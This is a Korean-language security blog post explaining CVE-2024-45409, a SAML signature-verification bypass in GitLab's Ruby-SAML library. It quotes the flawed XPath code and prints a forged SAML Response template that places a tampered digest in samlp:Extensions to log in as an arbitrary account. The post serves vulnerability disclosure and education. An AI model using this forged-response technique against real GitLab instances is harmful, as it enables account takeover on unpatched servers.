[하루한줄] CVE-2024-45409: Gitlab SAML Authentication Bypass 취약점
URL
https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
Target
- Gitlab CE/EE
- < 16.11.10
- 17.0.0 < 17.0.8
- 17.0.0 < 17.1.8
- 17.0.0 < 17.2.7
- 17.0.0 < 17.3.3
Explain
Gitlab 의 SAML 인증 과정에서 검증 미흡으로 인한 인증 우회 취약점이 발견되었습니다. SAML 인증이 활성화된 Gitlab 인스턴스의 경우 해당 취약점으로 계정이 탈취당할 수 있습니다.
SAML 인증
SAML (Security Assertion Markup Language) 는 널리 알려진 인증 방식으로 Idp (Identifier Provider) 에서 SP (Service Provider) 로 권한 인증 자격 증명을 전달할 때 사용하는 표준 방식입니다.
Gitlab 과 같은 서비스를 이용하다보면 Google 로 로그인하기와 같은 다른 서비스 계정을 이용해 로그인하는 것을 종종 보셨을텐데요. 이럴 때 사용하는 방법 중 하나가 SAML 인증이며 oauth 와 더불어 SSO 를 구현할 때 이용됩니다.
Gitlab 에서 Google 계정으로 로그인 버튼을 눌렀다고 한다면 다음과 같은 과정을 거칩니다.
- Google 로 로그인 합니다.
- Google 서버에서 로그인된 계정에 대해 SAML Response 라는 값을 반환합니다. (이 때, Google 이 IdP 가 됩니다.)
- 사용자는 Google 서버에서 받은 SAML Response 를 Gitlab 으로 전달합니다. (Gitlab 이 Service Provider 입니다.)
- Gitlab 은 전달받은 SAML Response 를 검증하고 이상이 없다면 해당 계정으로 로그인시킵니다.
SAML Response 검증은 어떻게 이뤄질까요? 일반적으로 SAML Response 에는 Assertion 이라는 요소가 포함됩니다.
Assertion 에는 로그인 대상 계정, 계정 권한 등의 정보가 기재됩니다. Assertion 의 내용이 변경되면 안되기에 무결성을 위해 Signature의 SignedInfo 블록에서 Assertion 의 digest(hash) 와 서명값을 기재합니다.
설명에 따른 XML 예시는 다음과 같습니다.
<Assertion ID="_abc123">
<Signature>
<SignedInfo>
<Reference URI="#_abc123">
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>abc123DigestValue</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>SignedWithPrivateKey</SignatureValue>
</Signature>
<!-- Assertion contents -->
</Assertion>
JWT 토큰에도 로그인할 사용자 정보와 Signature 가 붙는데, 이와 유사한 구조라고 볼 수 있습니다.
Ruby-SAML 우회
Gitlab 은 SAML 인증을 위해 Ruby-SAML, OmniAuth-SAML 라이브러리를 사용 합니다. Ruby-SAML 에서는 XPath 를 통해 XML 요소들을 참조하게끔 구현이 돼있는데요. XPath 대략적인 문법은 다음과 같습니다.
- / - 루트 노드로부터 절대경로 참조, /samp:Response 처럼 쓸 경우
<samlp:Response>
엘리먼트를 의미함. /samlp:Response/saml:Issuer 처럼 쓰면<samlp:Response>
아래의<saml:Issuer>
를 의미함. - ./ - 현재 노드로부터 상대경로 참조
- // - xml 문서 내 전체 탐색.
여기까지 봤을 때, 취약점이 왜 발생했는지 감이 오시나요? Ruby-SAML 에서는 Assertion 의 hash 인 DigestValue 를 갖고 오기 위해 // 문법을 사용하고 있었습니다.
// 문법은 문서 전체를 탐색하기 때문에 DigestValue 가 SignedInfo 안에 없어도 검색이 가능했었죠. 그렇기에 공격자는 DigestValue 를 문서 내 아무 곳에 배치하는 것이 가능했습니다.
encoded_digest_value = REXML::XPath.first(
ref,
"//ds:DigestValue",
{ "ds" => DSIG }
)
서명 검증 우회
취약점 트리거를 위해 짚어야할 사항은 다음과 같습니다.
- Assertion 에는 로그인할 ID 정보가 기재된다 → Assertion 변조 시 원하는 계정으로 로그인 가능하다.
- Assertion 무결성은 hash 와 서명으로 확보되는데, 이 값들은 SignedInfo 에 저장된다.
그렇다면 Assertion 을 변조하고 변조된 Assertion 의 DigestValue 를 SignedInfo 이전에 배치시킨다면 어떻게 될까요?
DigestValue 가 // 로 인해 앞 쪽에 배치가 가능한다고 해도 변경된 hash 가 서명 검증을 통과할 수 있을까요?
서명 검증에는 // 로 검색된 DigestValue 가 아닌, 원본 SignedInfo 내 존재하는 DigestValue 와 서명을 검사했습니다. 즉, SignedInfo 는 그대로 두고 변조된 DigestValue 만 앞 쪽에 배치한다면 인증을 우회할 수 있었습니다.
트리거에는 아무 요소나 배치될 수 있는 samlp:extensions 가 사용되었습니다. 공격자는 Assertion 의 digest 를 samlp:extension 로 감싸서 SignedInfo 앞 쪽에 배치하여 검증을 우회할 수 있습니다.
위 설명에 따른 변조된 SAML Response 예시는 다음과 같습니다.
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response Destination="http://kubernetes.docker.internal:3000/saml/acs"
ID="_afe0ff5379c42c67e0fb" InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<samlp:Extensions>
<DigestValue xmlns="http://www.w3.org/2000/09/xmldsig#">
변조된 assertion contents 의 digset
</DigestValue>
</samlp:Extensions>
<samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
<saml:Assertion ID="_911d8da24301c447b649" IssueInstant="2024-10-03T13:50:44.973Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
xmlns:xs="http://www.w3.org/2001/XMLSchema">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://saml.example.com/entityid</saml:Issuer>
<Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
<SignedInfo>
<CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
<SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" />
<Reference URI="#_911d8da24301c447b649">
<Transforms>
<Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" />
<Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" />
</Transforms>
<DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" />
<DigestValue>원본 assertion 의 digest</DigestValue>
</Reference>
</SignedInfo>
<SignatureValue>
원본 digest 의 서명
</SignatureValue>
<KeyInfo>
<X509Data>
<X509Certificate>서명 진행한 인증서</X509Certificate>
</X509Data>
</KeyInfo>
</Signature>
<saml:Subject xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
로그인할 gitlab 계정
</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData InResponseTo="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
Recipient="http://kubernetes.docker.internal:3000/saml/acs" />
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions NotBefore="2024-10-03T13:45:44.973Z"
NotOnOrAfter="2024-10-03T13:55:44.973Z"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AudienceRestriction>
<saml:Audience>https://saml.example.com/entityid</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>
<saml:AuthnStatement AuthnInstant="2024-10-03T13:50:44.973Z"
SessionIndex="_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:AuthnContext>
<saml:AuthnContextClassRef>
urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
<saml:Attribute Name="id"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9
</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
jackson@example.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
위 처럼 SAML Response 가 구성된다면, SignedInfo 는 변경되지 않았으니 서명 검증이 통과되며, 변조된 Assertion 의 DigestValue는
Reference
- https://github.com/synacktiv/CVE-2024-45409
- https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/?ref=blog.projectdiscovery.io
- https://nvd.nist.gov/vuln/detail/CVE-2024-45409
- https://github.com/omniauth/omniauth-saml/security/advisories/GHSA-cvp8-5r8g-fhvq
- https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2
- https://github.com/SAML-Toolkits/ruby-saml/commit/1ec5392bc506fe43a02dbb66b68741051c5ffeae
- https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7
- https://www.cloudflare.com/ko-kr/learning/access-management/what-is-saml/
- https://www.okta.com/kr/blog/2020/09/what-is-saml/
- https://www.w3schools.com/xml/xpath_syntax.asp
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.